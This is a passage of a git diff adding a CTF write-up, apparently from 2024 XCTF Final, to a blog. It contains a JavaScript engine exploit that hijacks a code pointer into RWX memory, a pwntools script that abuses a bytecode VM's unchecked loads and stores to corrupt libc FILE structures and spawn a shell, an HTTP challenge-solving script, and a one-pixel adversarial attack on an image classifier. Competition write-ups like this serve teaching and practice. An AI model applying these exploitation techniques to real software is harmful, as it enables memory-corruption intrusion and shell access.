heap_arb_read32(BigInt(addrof_foo)-1n+js_heap+0xcn); +foo_code = BigInt(foo_code) + js_heap - 0x1n; +console.log("[*] foo code address: "+hex(foo_code)); +rwx_addr = heap_arb_read(foo_code+0x14n); +console.log("[*] rwx address: "+hex(rwx_addr)); +jmp_addr = rwx_addr + 0x66n; + +function arb_write_32(addr, value) { + set_heap_addr(addr); + target_arr[0] = value; +} +arb_write_32(foo_code + 0x14n, Number(jmp_addr & 0xffffffffn)); +arb_write_32(foo_code + 0x18n, Number(jmp_addr >> 32n)); + +foo(); +``` + +## bytEc0DeVM + +核心: VirtualMachine::Interpret patch 0X124CA -> 90 + +支持的指令: + +```Python +CMD OP +LITERAL 0 push int +LITERAL_ARRAY 1 push size arr +LOAD 2 push *pop +STORE 3 *pop = second_pop +LOAD_LCL 4 push *(pop+R0) +STORE_LCL 5 *(pop+R0) = second_pop +LOAD_ARG 6 push *(pop+R1) +ALLOC 7 push malloc +FREE 8 feee pop +ADD 9 push pop + pop +SUB 10 push second_pop - pop +LESS 11 push second_pop < pop +GREATER 12 push second_pop > pop +NOT 13 push pop == 0 +EQUALS 14 push pop == pop +JMP 15 VM_RIP = pop +JMP_IF 16 tmp = pop; if (second_pop) { VM_RIP = tmp } +CALL 17 old_pc = VM_RIP + 1; VM_RIP = pop; push R2; R2 = old_pc; push R0; push R1; push R3; R1 = SP - ? ; R0 = SP + 4; SP = R0 + *RIP +RETURN 18 VM_RIP = R2; *R1 = pop; SP = R1; R3 = R0[-1]; R1 = R0[-2]; R2 = R0[-4]; R0 = R0[-3] +PRINT 19 len = pop; for (int i=0; i<len; i++) { putc(pop); } +PRINT_INT 20 cout << pop; +PRINT_ENDL 21 cout << endl; +``` + +load和store要加vm的偏移,没有限制。VM的结构体和libc对齐,所以似乎有libc任意读写 + +逆完发现是RW,void坏 https://github.com/Illation/BytecodeVM + +然而所有操作都是signed int32,程序是64位 (libc2.35 0ubuntu3.8) + +拿apple打: + +```Python +from pwn import * +def add(addr, fr, to): + if fr > to: + offset = 2 ** 32 + (to - fr) + print(hex(offset)) + flag = 0 + if offset % 2 == 1: + flag = 1 + + return f""" +LITERAL {offset // 2} +LITERAL {(offset // 2) + flag} +LITERAL {addr+0x200ec000-0x10} +LOAD_LCL +ADD +ADD +LITERAL {addr+0x200ec000-0x10} +STORE_LCL +""" + else: + offset = (to - fr) + + return f""" +LITERAL {offset} +LITERAL {addr+0x200ec000-0x10} +LOAD_LCL +ADD +LITERAL {addr+0x200ec000-0x10} +STORE_LCL +""" + +def write_low(addr, offset): + assert abs(offset) < 2 ** 32 + if offset < 0: + offset = 2 ** 32 + offset + print(hex(offset)) + flag = 0 + if offset % 2 == 1: + flag = 1 + + return f""" +LITERAL {offset // 2} +LITERAL {(offset // 2) + flag} +LITERAL {0x21b680+0x200ec000-0x10} +LOAD_LCL +ADD +ADD +LITERAL {addr+0x200ec000-0x10} +STORE_LCL +""" + +def write_high(addr, offset): + assert abs(offset) < 2 ** 32 + if offset < 0: + offset = 2 ** 32 + offset + print(hex(offset)) + flag = 0 + if offset % 2 == 1: + flag = 1 + + return f""" +LITERAL {offset // 2} +LITERAL {(offset // 2) + flag} +LITERAL {0x21b680+4+0x200ec000-0x10} +LOAD_LCL +ADD +ADD +LITERAL {addr+0x200ec000-0x10} +STORE_LCL +""" + +code = "" +code += add(0x21b6a0+0x0, 0xfbad2086, u32(b' sh')) +code += add(0x21b6a0+0x4, 0, u8(b';')) + +code += write_low(0x21b6a0+0x28, -0x1ca930) +code += write_high(0x21b6a0+0x28+4, 0) + +code += write_low(0x21b6a0+0xa0, -0x10) +code += write_high(0x21b6a0+0xa4, 0) + +off = 0x88 +code += write_low(0x21b6a0+off, 0x100+8*5) +code += write_high(0x21b6a0+off+4, 0) + +off = 0xd0 +code += write_low(0x21b6a0+off, 0x28-0x68) +code += write_high(0x21b6a0+off+4, 0) + +off = 0xd8 +code += write_low(0x21b6a0+off, -0x45e0) +code += write_high(0x21b6a0+off+4, 0) + +print(code) + +with open("1", "w") as f: + f.write(code) +``` + +# Misc + +## Pretender + +套娃题,题目大意是从返回包里解析变量做计算,后台随机概率爆到符合条件的包就进下一轮 + +跑通一次之后,题目说flag就是“来时的路”(每次计算结果%256) + +```Python +from pwn import * +import json + +# io = remote("") +context.log_level = 'warn' + +cookie = { + "479ee016b9a4955f": "503c3abcf84bc55c", + "200115c4555237e2": "3cfc5705ea6f8c40", + "43d35e6c7e6d68cc": "2f4fd7d7573a3dd8", + "70217c68d86a65d6": "dcdeffb2fe7fea0d", + "6a5c246f5cdc8a18": "64073e99e8a088bd", + "cf4e2a945ef9aef6": "c1378fd529dcba99", + "592bfb6be5ae0b1e": "44a7e5e410f65a60", + "38f558891fd11967": "34b4e4585625dda0", + "10bede55a8318a00": "4f7ffe44decd05ef", + "d0372458199d79d0": "a086042d1142bb02", + "6cf38e5ebfa1de3e": "8033dd5ab7625628", + "edc4d1b6ebed4b07": "6238f31302009a71", + "98f5347e9e9d929a": "c9f58072ca14e9be", + "70baf3862884d3d8": "b49b1c87c92a97fe", + "e8612a1662a15d35": "27deb8e1f0379006", + "85efc6b040be91c9": "3ef75d6223bd1c85", + "03b59575131287c7": "121a257f0e6a7887", + "41924345f71813b1": "899d56ddcdf8b35d", + "3949a01dc6a8bea7": "4b68a36e7d3b1331", + "d705364c0831ef44": "17f0ab2d053ca43b", + "7db31ea3e0da0082": "35b64255a039b766", + "a07c68a81c444b85": "4917ce5b81069f0f", + "e668ad59f6cd542a": "865d0fdacd04f10c", + "e7d56517bfbbec8e": "eb9838ac5161d928", + "76b1f80ea9466a73": "c9a76b9a18c6b9ee", + "ccf5daff0abff733": "3375fbf78ba1541b", + "ad2ce7be8730d240": "c11071075bd4d883", + "de9371f1b8113be7": "56f94331bec22356", + "b8caf95607d6a3f9": "070d4805af542d1d" +} +# print(json.dumps(cookie, indent=4)) +# getheader = "/?answer=" +def make_header(num): + req = b"GET /?answer=" + str(num).encode() + b" HTTP/1.1\r\n" + req += b"Cookie: " + "; ".join(map(lambda k: f"{k[0]}={k[1]}", cookie.items())).encode() + b"\r\n" + # req += b"Connection: keep-alive\r\n" + return req +# print(make_header("111")) +def make_req(num): + io = remote("173.30.12.56", 10810) + io.sendline(make_header(num)) + aa = io.recvall() + io.close() + return aa + +# ans = 0 +# PATTERN = re.compile(rb"euqation ([0-9]+):\s*<\/p><p>(.*?)<\/p>") +# PATTERN_2 = re.compile(rb"\{([0-9]+):([0-9]+):pos\}") +# PATTERN_3 = re.compile(rb"Set-Cookie: ([0-9a-f]+)=([0-9a-f]+)") +# for i in range(111): + +# result = make_req(ans) +# if b"Set-Cookie" in result: +# tmp = PATTERN_3.search(result) +# key = tmp.group(1).decode() +# value = tmp.group(2).decode() +# cookie[key] = value +# print(f"[+] new cookie {key} => {value}") +# print(json.dumps(cookie, indent=4)) +# # break +# tmp = PATTERN.search(result) +# state = tmp.group(1) +# question = tmp.group(2) +# question = question.strip().strip(b"?").strip().strip(b"=") +# # print(state, question) +# tmp = PATTERN_2.findall(result) +# # print(tmp) +# for value, key in tmp: +# question = question.replace(b"$"+key+b"$", value) +# # print(question) +# ans = eval(question) +# # print(ans) +# print(f"[+] {state} {ans}") + + +# # print(make_req(ans)) +def make_template(question, s): + tmp = PATTERN_2.search(s) + return question.replace(b"$"+tmp.group(2)+b"$", tmp.group(1)) + +import base64 +func_mp = { + "hex": lambda x: bytes.fromhex(x.decode()), + "base64": base64.b64decode +} +print(make_req(0).decode()) +ans = 0 +PATTERN = re.compile(rb"euqation ([0-9]+):\s*<\/p><p>(.*?)<\/p>") +PATTERN_2 = re.compile(rb"\{([0-9]+):([0-9]+):pos\}") +PATTERN_3 = re.compile(rb"Set-Cookie: ([0-9a-f]+)=([0-9a-f]+)") +PATTERN_4 = re.compile(rb"\{(.*?):(.*?)\}") +PATTERN_5 = re.compile(rb"euqation ([0-9]+):\s*(.*?)= \?") +# for i in range(111): +# result = make_req(ans) +# if b"Set-Cookie" in result: +# tmp = PATTERN_3.search(result) +# key = tmp.group(1).decode() +# value = tmp.group(2).decode() +# cookie[key] = value +# print(f"[+] new cookie {key} => {value}") +# print(json.dumps(cookie, indent=4)) +# # break +# tmp = PATTERN.search(result) +# state = tmp.group(1) +# question = tmp.group(2) +# question = question.strip().strip(b"?").strip().strip(b"=") +# # print(state, question) + +# tmp = PATTERN_4.findall(result) +# # print(tmp) +# for value, func in tmp: +# value = func_mp[func.decode()](value) +# while xx := PATTERN_4.search(value): +# if xx.group(2).decode() not in func_mp: +# break +# value = func_mp[xx.group(2).decode()](xx.group(1)) +# if isinstance(value, str): +# value = value.encode() +# print(value) +# question = make_template(question, value) +# # print(question) +# # break + +# # for value, key in tmp: +# # question = question.replace(b"$"+key+b"$", value) +# # # print(question) +# ans = eval(question) +# # # print(ans) +# print(f"[+] {state} {ans}") + + +for i in range(10000): + result = make_req(ans) + print(result) + if b"Set-Cookie" in result: + tmp = PATTERN_3.search(result) + key = tmp.group(1).decode() + value = tmp.group(2).decode() + cookie[key] = value + print(f"[+] new cookie {key} => {value}") + print(json.dumps(cookie, indent=4)) + # break + + tmp = PATTERN_5.search(result) + state = tmp.group(1) + ans = eval(tmp.group(2)) + print(f"[+] {state} {ans}") + +``` + +## Cain's Dog + +one pixel attack + +https://adversarial-attacks-pytorch.readthedocs.io/en/latest/attacks.html#module-torchattacks.attacks.onepixel + +需要把 `torchattack/attacks/onepixel.py` 的 L115 和L117的条件改改成 + +```Python + def _attack_success(self, image, label, delta): + adv_image = self._perturb(image, delta) # Single delta + prob = self._get_prob(adv_image) + return (prob[0][0] > 0.92) +``` + +step和popsize要调大,尤其是step要调大 + +```Python +import numpy as np +import torch +import torch.nn as nn +from torch.nn import functional as F +from torchvision.models import resnet34 +from PIL import Image +import torchattacks + +model = resnet34() +model.fc = nn.Linear(model.fc.in_features, 2) +model.load_state_dict(torch.load('model.pth', map_location='cpu')) +model.eval() + +ori = np.array(Image.open("Cain's_dog.png")) +images = torch.tensor(ori.transpose(2, 0, 1) / 255.0, dtype=torch.float32).unsqueeze(0) +labels = torch.tensor([1], dtype=torch.int) +atk = torchattacks.OnePixel(model, pixels=33, steps=80, popsize=80, inf_batch=128) +print('Begin attack...') +adv_images = atk(images, labels) +print('End attack...') +print(f'{adv_images.shape = }') +print(f'pred = {F.softmax(model(adv_images), dim=-1)}') +adv_images = adv_images.numpy() +# check +num_images = adv_images.shape[0] +for i in range(num_images): + print(f'{i = }') + adv_image = adv_images[i].transpose((1, 2, 0)) + adv_image = (255 * adv_image).astype(np.uint8) # + 1e-12 + + outputs = torch.tensor(adv_image.transpose(2, 0, 1) / 255.0, dtype=torch.float32).unsqueeze(0) + pred = torch.softmax(model(outputs), dim=1) + print(f'{pred[0][0] = }') + if pred[0][0] > 0.9: + print('AOLIGEI!!!') + Image.fromarray(adv_image).save('attack.png') +``` diff --git a/source/images/2024-XCTF-FINAL/20240814201210157.webp b/source/images/2024-XCTF-FINAL/20240814201210157.webp new file mode 100644 index 0000000..7b7d61e Binary files /dev/null and b/source/images/2024-XCTF-FINAL/20240814201210157.webp differ diff --git a/source/images/2024-XCTF-FINAL/20240814201210158.webp b/source/images/2024-XCTF-FINAL/20240814201210158.webp new file mode 100644 index 0000000..6623e72 Binary files /dev/null and b/source/images/2024-XCTF-FINAL/20240814201210158.webp differ diff --git a/source/images/2024-XCTF-FINAL/20240814201210179.webp b/source/images/2024-XCTF-FINAL/20240814201210179.webp new file mode 100644 index 0000000..cde3930 Binary files /dev/null and b/source/images/2024-XCTF-FINAL/20240814201210179.webp differ diff --git a/source/images/2024-XCTF-FINAL/20240814201210236.webp b/source/images/2024-XCTF-FINAL/20240814201210236.webp new file mode 100644 index 0000000..5852492 Binary files /dev/null and b/source/images/2024-XCTF-FINAL/20240814201210236.webp differ